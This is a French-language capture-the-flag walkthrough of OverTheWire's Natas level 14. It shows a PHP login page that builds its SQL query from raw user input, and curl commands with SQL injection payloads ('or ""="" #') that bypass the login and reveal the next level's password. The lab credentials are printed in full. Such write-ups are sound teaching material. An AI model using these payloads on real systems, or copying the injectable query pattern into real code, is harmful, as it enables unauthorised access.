Niveau 14

Natas 14

Level Goal

Username: natas14
Password: Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
URL: http://natas14.natas.labs.overthewire.org

En se connectant à la page du challenge 14 (curl http://natas14.natas.labs.overthewire.org -u natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1) on accède à un formulaire d'authentification :

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>

Avec le code source associé suivant :

<?
if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas14', '<censored>');
    mysql_select_db('natas14', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysql_num_rows(mysql_query($query, $link)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?> 

La faille a exploiter ici est une injection SQL. Le concept est le suivant : si des variables (ici username et password) sont modifiables par l'utilisateur et sont ensuite utilisées directement pour faire une requête SQL, il est possible d'ajouter ou d'enlever des instructions à la requête SQL.

Dans les faits, si on envoi un formulaire avec la valeur natas14" # pour le champ username (en SQL # représente un début de commentaire de ligne, équivalent à // dans de nombreux languages), cela reviendra à exécuter la requête :

SELECT * from users where username="natas14"

Ici la ligne if(mysql_num_rows(mysql_query($query, $link)) > 0) vérifie que la requête SQL retourne au moins une ligne, ce qui, en théorie ne devrait être faisable que si le nom d'utilisateur et le mot de passe correspondent pour une seule ligne.

Essayons d'envoyer la valeur suivante :

curl --form username='natas14" #' \
     --form password='' \
     http://natas14.natas.labs.overthewire.org -u natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

On obtient le message Access denied!. Cela est dû au fait que même si notre commande SQL s'exécute sans erreur, elle ne retourne pas de résultat car l'utilisateur natas14 n'existe pas dans la base de donnée

Essayons d'ajoute une condition qui sera toujours vraie et qui retournera de fait l'ensemble des lignes de la base de donnée :

curl --form username='natas14" or ""="" #' \
     --form password='' \
     http://natas14.natas.labs.overthewire.org -u natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

On obtient le message suivant :

Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J